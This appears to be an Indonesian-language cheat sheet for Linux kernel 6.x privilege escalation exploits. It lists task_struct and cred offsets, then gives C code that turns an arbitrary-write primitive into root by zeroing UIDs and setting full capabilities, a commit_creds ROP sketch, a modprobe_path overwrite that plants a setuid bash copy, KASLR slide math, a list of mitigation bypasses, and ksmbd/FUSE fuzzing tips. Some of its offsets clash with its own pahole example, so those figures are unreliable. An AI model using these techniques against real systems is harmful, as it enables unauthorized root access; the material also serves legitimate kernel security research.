cred & task_struct — Kernel 6.x Privesc Reference

6.1 / 6.6 / 6.8 LTS x86-64
01 task_struct — Field Kritis
Offset di task_struct bervariasi antar build tergantung CONFIG_*. Angka di bawah adalah perkiraan kernel 6.1 defconfig x86_64. Selalu verifikasi dengan pahole atau GDB.
struct task_struct /* include/linux/sched.h — ~10KB */
+0x000 volatile long __state TASK_RUNNING / TASK_INTERRUPTIBLE / ...
+0x008 void * stack PTR kernel stack base pointer
+0x010 refcount_t usage reference count — jangan nol-kan
+0x018 unsigned int flags PF_* thread flags
+0x1B8 struct mm_struct * mm LEAK user address space — berguna untuk info leak
+0x1C0 struct mm_struct * active_mm LEAK active mm (bisa berbeda dari mm saat kswapd)
+0x220 int prio / static_prio scheduling priority
+0x3D8 pid_t pid IDENT process ID — untuk targeting proses
+0x3DC pid_t tgid IDENT thread group ID
+0x3E0 struct task_struct * real_parent LEAK pointer ke parent — traverse process tree
+0x440 struct list_head tasks TRAVERSE linked list semua proses — next/prev ptrs
+0x570 char[16] comm IDENT process name — berguna untuk cek/korelasi
+0x5B0 struct files_struct * files PTR file descriptor table
+0x5B8 struct fs_struct * fs PTR filesystem context (cwd, root)
+0x640 const struct cred * real_cred TARGET credentials saat fork — baca untuk dapat cred ptr
+0x648 const struct cred * cred OVERWRITE effective cred — ini yang dicek kernel saat syscall
+0x660 struct nsproxy * nsproxy PTR namespace — target container escape
+0x688 struct signal_struct * signal signal handling state
+0x7D0 struct thread_struct thread CPU state: sp, ip, x86 registers
next_task = task->tasks.next - offsetof(task_struct, tasks) = task->tasks.next - 0x440
02 struct cred — Anatomi Lengkap
Layout struct cred relatif stabil antar kernel 6.x. Offset-offset di bawah hampir pasti valid di 6.1, 6.6, 6.8 LTS.
struct cred /* include/linux/cred.h — ~168 bytes */
+0x00 atomic_long_t usage refcount — JANGAN tulis 0, crash
+0x04 kuid_t (u32) uid → 0 real UID
+0x08 kgid_t (u32) gid → 0 real GID
+0x0C kuid_t (u32) suid → 0 saved UID
+0x10 kgid_t (u32) sgid → 0 saved GID
+0x14 kuid_t (u32) euid → 0 ! effective UID — TARGET UTAMA #1
+0x18 kgid_t (u32) egid → 0 ! effective GID — TARGET UTAMA #2
+0x1C kuid_t (u32) fsuid → 0 filesystem UID — dicek VFS saat file access
+0x20 kgid_t (u32) fsgid → 0 filesystem GID
+0x24 unsigned int securebits SECBIT_NOROOT / SECBIT_KEEP_CAPS flags
+0x28 kernel_cap_t (u64) cap_inheritable → 0x1FFFFFFFFFF inherited across execve
+0x30 kernel_cap_t (u64) cap_permitted → 0x1FFFFFFFFFF superset dari effective
+0x38 kernel_cap_t (u64) cap_effective → 0x1FFFFFFFFFF ! TARGET #3 — capabilities yang benar-benar dipakai kernel
+0x40 kernel_cap_t (u64) cap_bset → 0x1FFFFFFFFFF bounding set — upper limit untuk cap_permitted
+0x48 kernel_cap_t (u64) cap_ambient ambient caps (kernel 4.3+)
+0x78 void * security LSM blob — SELinux / AppArmor ctx
+0x88 struct user_namespace * user_ns user namespace context
cap_effective all set = 0x1FFFFFFFFFF <— 42 capabilities, Linux 6.x
03 Cara Verifikasi Offset di Target Kernel
pahole
GDB+QEMU
Kernel Module
sysfs / proc
bash
# Install dwarves package
apt install dwarves

# Perlu vmlinux dengan debug info (CONFIG_DEBUG_INFO=y)
pahole -C task_struct /boot/vmlinux-$(uname -r) \
  | grep -E "pid|tgid|cred|comm|tasks|mm|real_parent"

# Untuk struct cred (stabil, jarang perlu dicek)
pahole -C cred vmlinux

# Contoh output:
#   pid         : 32;  /* 15296 63 */   → offset = 15296/8 = 1912 bytes = 0x778
#   real_cred   : 64;  /* 25664 0 */    → 25664/8 = 3208 = 0xC88
#   cred        : 64;  /* 25728 0 */

# Cara baca output pahole:
#   field : bits;  /* bit_offset  bit_size */
#   offset_bytes = bit_offset / 8
gdb
# Attach ke QEMU kernel dengan -s -S flag
gdb vmlinux
(gdb) target remote localhost:1234

# Cek offset dari base struct
(gdb) p/x &((struct task_struct *)0)->cred
# $1 = 0x648

(gdb) p/x &((struct task_struct *)0)->real_cred
# $2 = 0x640

(gdb) p/x &((struct task_struct *)0)->pid
(gdb) p/x &((struct task_struct *)0)->comm
(gdb) p/x &((struct task_struct *)0)->tasks

# Offset dalam struct cred
(gdb) p/x &((struct cred *)0)->euid
# $3 = 0x14
(gdb) p/x &((struct cred *)0)->cap_effective
# $4 = 0x38

# Dari proses yang running (current adalah macro kernel)
(gdb) p current->pid
(gdb) p current->cred->euid
(gdb) p/x current->cred->cap_effective
c
#include <linux/module.h>
#include <linux/sched.h>
#include <linux/cred.h>
#include <linux/stddef.h>

static int __init probe_init(void) {
    struct task_struct *t = current;

    pr_info("=== task_struct offsets ===\n");
    pr_info("cred       : 0x%zx\n", offsetof(struct task_struct, cred));
    pr_info("real_cred  : 0x%zx\n", offsetof(struct task_struct, real_cred));
    pr_info("pid        : 0x%zx\n", offsetof(struct task_struct, pid));
    pr_info("comm       : 0x%zx\n", offsetof(struct task_struct, comm));
    pr_info("tasks      : 0x%zx\n", offsetof(struct task_struct, tasks));
    pr_info("mm         : 0x%zx\n", offsetof(struct task_struct, mm));

    pr_info("=== struct cred offsets ===\n");
    pr_info("uid        : 0x%zx\n", offsetof(struct cred, uid));
    pr_info("euid       : 0x%zx\n", offsetof(struct cred, euid));
    pr_info("cap_eff    : 0x%zx\n", offsetof(struct cred, cap_effective));

    pr_info("=== current process ===\n");
    pr_info("pid=%d comm=%s euid=%u\n",
            t->pid, t->comm, t->cred->euid.val);

    return 0;
}

static void __exit probe_exit(void) {}

module_init(probe_init);
module_exit(probe_exit);
MODULE_LICENSE("GPL");
bash
# kallsyms — butuh CAP_SYSLOG atau kptr_restrict=0
grep "commit_creds\|prepare_kernel_cred\|init_task" /proc/kallsyms

# Di QEMU research env (disable kptr_restrict)
echo 0 > /proc/sys/kernel/kptr_restrict
cat /proc/kallsyms | grep " T commit_creds"
cat /proc/kallsyms | grep " T prepare_kernel_cred"
cat /proc/kallsyms | grep " D init_task"

# System.map (no KASLR offset, raw compile-time address)
grep -E "commit_creds|prepare_kernel_cred|init_task" \
     /boot/System.map-$(uname -r)

# Cek dmesg setelah load LKM probe_init di atas
dmesg | tail -30
04 Teknik Privilege Escalation

Cred Overwrite Langsung

Arbitrary write → overwrite UID/GID/caps di cred struct. Paling stabil dan reliable.

c
/* Dari arbitrary write primitive */
void escalate_cred(uint64_t task_addr) {
    /* 1. baca cred pointer */
    uint64_t cred = read64(task_addr + 0x648);

    /* 2. zero semua UID/GID (u32 each) */
    write32(cred + 0x04, 0);  /* uid  */
    write32(cred + 0x08, 0);  /* gid  */
    write32(cred + 0x0C, 0);  /* suid */
    write32(cred + 0x10, 0);  /* sgid */
    write32(cred + 0x14, 0);  /* euid ← KRITIS */
    write32(cred + 0x18, 0);  /* egid ← KRITIS */
    write32(cred + 0x1C, 0);  /* fsuid */
    write32(cred + 0x20, 0);  /* fsgid */

    /* 3. full capabilities */
    write64(cred + 0x28, 0x1FFFFFFFFFF); /* inheritable */
    write64(cred + 0x30, 0x1FFFFFFFFFF); /* permitted   */
    write64(cred + 0x38, 0x1FFFFFFFFFF); /* effective   */
    write64(cred + 0x40, 0x1FFFFFFFFFF); /* bset        */
}
/* Setelah ini: getuid() == 0 → spawn /bin/sh */

commit_creds + prepare_kernel_cred

Kernel-native via ROP chain atau ret2usr. Paling bersih — kernel sendiri yang mengurus atomicity.

asm
; ROP payload (x86-64)
; 1. prepare_kernel_cred(NULL) → rax = new_cred*
; 2. commit_creds(rax)         → pasang ke current

pop_rdi_ret:
    xor rdi, rdi           ; arg0 = NULL
    call prepare_kernel_cred  ; rax = *cred

mov_rdi_rax_ret:
    mov rdi, rax
    call commit_creds

; Setelah commit_creds, kembali ke userspace
; dan panggil execve("/bin/sh", NULL, NULL)
bash
# Cari alamat fungsi (kptr_restrict=0)
grep "commit_creds\|prepare_kernel_cred" /proc/kallsyms

Traverse tasks List

Cari task_struct proses target via doubly-linked tasks list. Berguna untuk cross-process targeting.

c
/* Traverse dari init_task, cari pid target */
#define TASKS_OFF 0x440
#define PID_OFF   0x3D8

uint64_t find_task(uint64_t init_task, pid_t pid) {
    uint64_t cur = read64(init_task + TASKS_OFF);
    while (1) {
        uint64_t task = cur - TASKS_OFF;
        if (read32(task + PID_OFF) == pid)
            return task;
        cur = read64(cur);   /* tasks.next */
        if (cur == init_task + TASKS_OFF)
            break;           /* full loop */
    }
    return 0;
}

modprobe_path Overwrite

Overwrite modprobe_path global dengan path script custom. Trigger via eksekusi binary dengan magic bytes invalid.

c
/* modprobe_path default: "/sbin/modprobe" (256 bytes) */
/* Overwrite dengan path ke script kita */

uint64_t modprobe_addr = kaslr_base + 0x...; /* dari kallsyms */
write_str(modprobe_addr, "/tmp/x\0");

/* /tmp/x isinya: */
/* #!/bin/sh                      */
/* cp /bin/bash /tmp/r            */
/* chmod 4777 /tmp/r              */

/* Trigger: eksekusi binary dengan magic bytes tidak dikenal */
/* kernel akan panggil modprobe_path → script kita jalan sbg root */
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/bad");
system("chmod +x /tmp/bad && /tmp/bad");
05 KASLR Bypass — Cara Dapat Alamat Runtime
Semua teknik di Bagian 4 butuh alamat kernel yang valid. KASLR mengacak base kernel setiap boot. Wajib leak dulu sebelum write.
c
/* Menghitung KASLR slide dari satu leaked pointer */
uint64_t leaked       = 0xffffffff88abcdef; /* dari bug */
uint64_t sym_nokaslr  = 0xffffffff81234567; /* dari System.map */

/* KASLR granularity: 0x200000 (2MB) di x86-64 */
uint64_t slide = (leaked - sym_nokaslr) & ~0x1FFFFF;

uint64_t commit_creds       = 0xffffffff810b3d60 + slide;
uint64_t prepare_kernel_cred = 0xffffffff810b3a70 + slide;
uint64_t init_task          = 0xffffffff82c14940 + slide;
uint64_t modprobe_path      = 0xffffffff82e4a600 + slide;
bash
# Vektor leak yang umum:

# 1. /proc/kallsyms (jika kptr_restrict longgar)
cat /proc/kallsyms | grep " D init_task"

# 2. Uninitialized kernel stack → leaked ptr bocor ke userspace
# 3. OOB read dari heap / ring buffer
# 4. msg_msg / mqueue spray untuk cross-cache leak
# 5. /proc/self/maps untuk mmap-based leak (terbatas)
# 6. dmesg kernel ptr (butuh CAP_SYSLOG atau admin)

# Verifikasi slide alignment:
python3 -c "slide=0x...; print(hex(slide % 0x200000))"
# harus: 0x0  (aligned ke 2MB)
06 Quick Reference Card — Multi-Version
struct cred sangat stabil. task_struct cred pointer bisa shift ±8..16 bytes antar minor version — selalu pahole dulu.
struct cred (stabil)
task_struct 6.1
task_struct 6.6
task_struct 6.8
OffsetTypeFieldTarget ValueCatatan
+0x00atomic_long_tusageJANGAN nol-kanrefcount
+0x04u32uid0x00000000real UID
+0x08u32gid0x00000000real GID
+0x0Cu32suid0x00000000saved UID
+0x10u32sgid0x00000000saved GID
+0x14u32euid0x00000000⬅ TARGET #1
+0x18u32egid0x00000000⬅ TARGET #2
+0x1Cu32fsuid0x00000000VFS check
+0x20u32fsgid0x00000000VFS check
+0x24u32securebitsbiarkanSECBIT_* flags
+0x28u64cap_inheritable0x1FFFFFFFFFF42 caps
+0x30u64cap_permitted0x1FFFFFFFFFFsuperset
+0x38u64cap_effective0x1FFFFFFFFFF⬅ TARGET #3
+0x40u64cap_bset0x1FFFFFFFFFFbounding set
+0x48u64cap_ambientoptionalkernel 4.3+
OffsetFieldKegunaan
+0x008stackkernel stack ptr
+0x1B8mmuser mm_struct
+0x3D8pidprocess ID
+0x3DCtgidthread group ID
+0x3E0real_parentparent ptr
+0x440taskslist_head — traverse
+0x570comm[16]process name
+0x640real_cred⬅ baca untuk cred ptr
+0x648cred⬅ OVERWRITE target
+0x660nsproxynamespace (container escape)
OffsetFieldDelta vs 6.1
+0x1B8mmsama
+0x3D0pid-0x08 dari 6.1
+0x440taskssama
+0x568comm[16]-0x08
+0x638real_cred-0x08 ← perhatikan!
+0x640cred-0x08 ← perhatikan!
Kernel 6.6 memperkenalkan beberapa field baru di area scheduling yang menyebabkan shift. Wajib verifikasi dengan pahole di target build.
OffsetFieldDelta vs 6.1
+0x1B8mmsama
+0x3D8pidsama seperti 6.1
+0x440taskssama
+0x570comm[16]sama seperti 6.1
+0x640real_credsama seperti 6.1
+0x648credsama seperti 6.1
07 Mitigasi & Bypass Strategy
MitigasiDampakBypass Umum
KASLR Semua pointer perlu di-leak dulu. Tanpa leak, exploit buta. Info leak bug · kallsyms · timing side-channel · OOB read
SMEP Tidak bisa langsung jump ke user page dari kernel mode. kROP chain · JOP · ret2kernel gadget · PKRU bypass
SMAP Tidak bisa baca/tulis user memory langsung dari kernel. copy_from/to_user gadget · kernel buffer pivoting
KPTI CR3 switch saat syscall return → TLB flush overhead. KPTI trampoline gadget sebelum SWAPGS+SYSRET
FG-KASLR Per-function randomization — satu leak tidak cukup. Multiple leaks · leak dari data section · plt/got abuse
CFI (Clang) Validasi indirect call target → banyak JOP gadget invalid. Research area aktif · type confusion · forward-edge bypass
SLAB Randomize Heap spray lebih susah diprediksi posisinya. Grooming dengan msg_msg · timing · cross-cache overlap
SELinux / AppArmor Bahkan setelah uid=0, access control masih berlaku. Overwrite security blob di cred · disable via setenforce 0
08 Syzkaller Tips — ksmbd & FUSE Campaign
Tips spesifik untuk campaign ksmbd/FUSE passthrough yang sedang berjalan.
syzlang
# Deskriptor untuk probe cred region — bantu korelasi crash
# Kalau crash menyentuh offset 0x14/0x38 dari cred ptr,
# kemungkinan besar ada UAF atau write-after-free ke cred

resource fd_ksmbd[fd]

# Trigger ksmbd + baca status cred current task
openat$ksmbd(fd fd_ksmbd, file ptr[in, filename], flags flags[open_flags])
ioctl$KSMBD_IOCTL_CREATE_SESSION(fd fd_ksmbd, cmd const[0x...], arg ptr[in, ksmbd_session])

# FUSE passthrough — target FUSE_COPY_FILE_RANGE via passthrough fd
resource fd_fuse[fd]
syz_fuse_mount(&path ptr[in, filename], source ptr[in, filename],
               flags flags[fuse_flags], opts ptr[in, fuse_opts])
bash
# Korelasi crash dengan cred region di dmesg
# Sinyal kuat bahwa crash menyentuh cred:

dmesg | grep -E "commit_creds|security_task_fix_setuid|__cred_update"
dmesg | grep -E "KASAN.*cred|slab.*cred|kfree.*cred"

# Untuk ksmbd — cek apakah ada UAF di session/tree context
dmesg | grep -E "ksmbd|smb3|WARN.*ksmbd"

# Aktifkan KASAN + KCOV di .config untuk kampanye ini:
# CONFIG_KASAN=y
# CONFIG_KASAN_INLINE=y
# CONFIG_KCOV=y
# CONFIG_KCOV_INSTRUMENT_ALL=y
# CONFIG_DEBUG_INFO=y
# CONFIG_FRAME_POINTER=y
Crash ke commit_creds → privilege escalation path ditemukan Crash ke cred_alloc_blank → UAF/double-free pada cred struct